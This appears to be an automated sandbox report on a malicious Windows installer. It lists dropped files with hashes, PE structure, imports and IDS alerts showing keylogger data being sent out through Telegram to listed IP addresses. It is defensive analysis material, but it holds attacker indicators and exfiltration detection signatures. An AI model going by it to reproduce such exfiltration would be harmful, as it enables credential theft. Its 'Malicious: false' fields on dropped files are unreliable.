Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	low
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Ruskindsskoene.Lym

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	data
Category:	dropped
Size (bytes):	288347
Entropy (8bit):	7.76879646626203
Encrypted:	false
SSDEEP:	6144:se/jlTMA4GQ1xLfOixTJLBvTCB+AfpRcqNn3IkVQUruWHUe8Y:vQ1UipJLxGZjdIWQUhP
MD5:	F0BB0FFA27E86DC65AA5AFA8E89AD9F0
SHA1:	28C29105C0C07086487A2689F13A31D8EB9B5E45
SHA-256:	A0BB4CB8559E4C5339C3AA5DE17B4B9FE7C37C290BDB4F65B20486AB870BD8CD
SHA-512:	381816EF635EC3B312DA64CB794E7D4AC3A70E0F1D8068526F00B7FB1FA12C7C7A1E3EB0E706D56A4B19075278DB5256519C0161EA2074A577BFCD19CC95149B
Malicious:	false
Reputation:	low
Preview:	...,.......r.......c.....1............._.............@...........=........@@..............vv..........................:::..................................WW.....................B.............^....).9...........Z.......x.. .....[[...www.R......&...............iiiiiii.......====.~...........i......%.6..W.=..WWWW.........k..r....]..................___........V...(.4.....................jjj..............................OO..............;;....7..2..........................'..;......{..7...........WWW............................555.....!!!.........................."..............+++.....................$$$......-...........)............,........ii.VVV...............i..............{................R.[[[.MM.dd....ooo..66..+++..........44..>>............E..........m.......aa....rrr....................j....f........))........<<......;.....................ll............QQQQ..}}.....................////.........ee......n.....].........>.n.....\\\\.A.............Y.A......N.....-.....----.K.........

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	low
Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\Voltmeters.Ers54

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	data
Category:	dropped
Size (bytes):	127783
Entropy (8bit):	4.601249713365416
Encrypted:	false
SSDEEP:	1536:fKZgV2DYZpY+dZLJJmrC5viSvGLMXJNA2qyH8r9BUfmSY6y9P8A9u:fIgV2DYZpY+JJmGQS2MXHrYwY6yF8AA
MD5:	5F27AEBFF7F1A9D5116E3B4E082FCBE4
SHA1:	6339A4C8FCA14E3A2D9AC07A998DB7B05CC45833
SHA-256:	C8869F228120EAB585C727028AC4C614B204A4944264EF7845706705DC50B8AD
SHA-512:	DB9C283923753A702B3625239967E28D50F8FFEDFE16CFEE848E895BA5E5F36F22379285AF683D79DDE4B59593D4A202B839FA3C49A2A76AA2E8934C1B1F672D
Malicious:	false
Preview:	......I............................I..................................^^....6......ff......R...................K............99..................................._...........%%%.....'..........@...............///.................Q.OO.....v...................................d................`....$...............................DD................q......LLL.)).................P......BB..22.. ................^......&.....................@@@@@@.......!!!!!..G.w........................AA...........TT.=..}}......@..kk.........]]]].1.PPPPPP.................z.@.oo....;;;;.c....................D.......ss..AAAAA.........................................XX....\......._.....JJ....(((......QQQ......................>.............&............................:::.............XX..6..jj................................................)).....W.....!!!!!........]......<<<.................TT........!!..........?....G..........FF...llll.........Z.........,...]]]..Y......Y..........UUU.....888.............\|\|\|..

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse Filename: NativeApp_G5L1NHZZ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nswBD83.tmp

Download File

Process:	C:\Users\user\Desktop\v4nrZtP7K2.exe
File Type:	data
Category:	dropped
Size (bytes):	1540705
Entropy (8bit):	5.47073589870663
Encrypted:	false
SSDEEP:	24576:YMLxGkW74o3xX3y4bz2lWwWo6rSTZyJ2u:RLI9UoBXbz2luo6rS1yIu
MD5:	CF14F7C69F6F691FC3B24EB229DB418A
SHA1:	68C2055DBEC0F8D9401F9E1C1FC91B3A582A56A9
SHA-256:	4CCCC12A887F8F8EB14C807B10171984710FF4DB5F68343C3E78F692B55F8EC1
SHA-512:	9CC6B0DA679CD0BE9CFB0331EAB3330CDA597E2F70752831EB0283B9B27A8B457FEC9DA161398A57C3E695FF29EA3B421BF225A8409F69379C30EB982C154F86
Malicious:	false
Preview:	6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.961647755569379
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	v4nrZtP7K2.exe
File size:	1'048'063 bytes
MD5:	0f45bbafc276fa80464c8892ba6f5b2a
SHA1:	3f0ec83b231cf0ba0a1fee3696e709bc75d199eb
SHA256:	fdf9354cf20fb94544d6bafaa777e8a40eba2d603e648b3dbdf35344d639b19d
SHA512:	ba9d22d58bda06d7a543300b2e24f80013c29c601435599b7a71f6eab251ad41c42eb6b86fa372dacf5ff13608318540c1958f96fb2e6b60341b2b4e7105ce42
SSDEEP:	24576:9jwKCNgy7VhN29a3rg63IzXcl7FGPxuXZ+QCynWi/FP9N9:V1Cr5u9wU0l0xuJZCcb
TLSH:	C5253305B212FAEBC6D2C630791515BF6C769D60AC54DD1313E83B1A7F703B18AAC369
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FDDF8E65EA3h
push ebx
call 00007FDDF8E6916Dh
cmp eax, ebx
je 00007FDDF8E65E99h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FDDF8E690E7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FDDF8E65E7Ch
push 0000000Ah
call 00007FDDF8E69140h
push 00000008h
call 00007FDDF8E69139h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FDDF8E6912Dh
cmp eax, ebx
je 00007FDDF8E65EA1h
push 0000001Eh
call eax
test eax, eax
je 00007FDDF8E65E99h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:41:04.055782+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49709	142.250.181.238	443	TCP
2025-01-10T21:41:10.679332+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49711	132.226.8.169	80	TCP
2025-01-10T21:41:17.366602+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49711	132.226.8.169	80	TCP
2025-01-10T21:41:17.999582+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49740	149.154.167.220	443	TCP
2025-01-10T21:41:18.295718+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49740	149.154.167.220	443	TCP
2025-01-10T21:41:19.616728+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49750	132.226.8.169	80	TCP
2025-01-10T21:41:20.221607+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49757	149.154.167.220	443	TCP
2025-01-10T21:41:20.550220+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49757	149.154.167.220	443	TCP
2025-01-10T21:41:22.080335+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49769	149.154.167.220	443	TCP
2025-01-10T21:41:22.413988+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49769	149.154.167.220	443	TCP
2025-01-10T21:41:23.902379+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49782	149.154.167.220	443	TCP
2025-01-10T21:41:24.243171+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49782	149.154.167.220	443	TCP
2025-01-10T21:41:25.754752+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49798	149.154.167.220	443	TCP
2025-01-10T21:41:26.308224+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49798	149.154.167.220	443	TCP
2025-01-10T21:41:27.821372+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49811	149.154.167.220	443	TCP
2025-01-10T21:41:28.116897+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49811	149.154.167.220	443	TCP
2025-01-10T21:41:29.651156+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49827	149.154.167.220	443	TCP
2025-01-10T21:41:29.905652+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49827	149.154.167.220	443	TCP
2025-01-10T21:41:31.373410+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49839	149.154.167.220	443	TCP
2025-01-10T21:41:31.772274+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49839	149.154.167.220	443	TCP
2025-01-10T21:41:33.258256+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49853	149.154.167.220	443	TCP
2025-01-10T21:41:33.621335+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49853	149.154.167.220	443	TCP
2025-01-10T21:41:35.078882+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49865	149.154.167.220	443	TCP
2025-01-10T21:41:35.475737+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49865	149.154.167.220	443	TCP
2025-01-10T21:41:37.005576+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49877	149.154.167.220	443	TCP
2025-01-10T21:41:37.261635+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49877	149.154.167.220	443	TCP
2025-01-10T21:41:38.759064+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49890	149.154.167.220	443	TCP
2025-01-10T21:41:39.030142+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49890	149.154.167.220	443	TCP
2025-01-10T21:41:40.507479+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49905	149.154.167.220	443	TCP
2025-01-10T21:41:40.935980+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49905	149.154.167.220	443	TCP
2025-01-10T21:41:42.455994+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49919	149.154.167.220	443	TCP
2025-01-10T21:41:42.794589+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49919	149.154.167.220	443	TCP
2025-01-10T21:41:44.380265+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49930	149.154.167.220	443	TCP
2025-01-10T21:41:44.714132+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49930	149.154.167.220	443	TCP
2025-01-10T21:41:46.567194+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49946	149.154.167.220	443	TCP
2025-01-10T21:41:47.640280+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49946	149.154.167.220	443	TCP
2025-01-10T21:41:49.400542+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49962	149.154.167.220	443	TCP
2025-01-10T21:41:49.647010+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49962	149.154.167.220	443	TCP
2025-01-10T21:41:51.084566+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49973	149.154.167.220	443	TCP
2025-01-10T21:41:51.526150+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49973	149.154.167.220	443	TCP
2025-01-10T21:41:52.988544+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T21:41:53.376503+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T21:41:54.843402+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50001	149.154.167.220	443	TCP
2025-01-10T21:41:55.153990+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50001	149.154.167.220	443	TCP
2025-01-10T21:41:56.646970+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T21:41:56.893527+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T21:41:58.410818+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T21:41:58.883067+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T21:42:00.462252+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50024	149.154.167.220	443	TCP
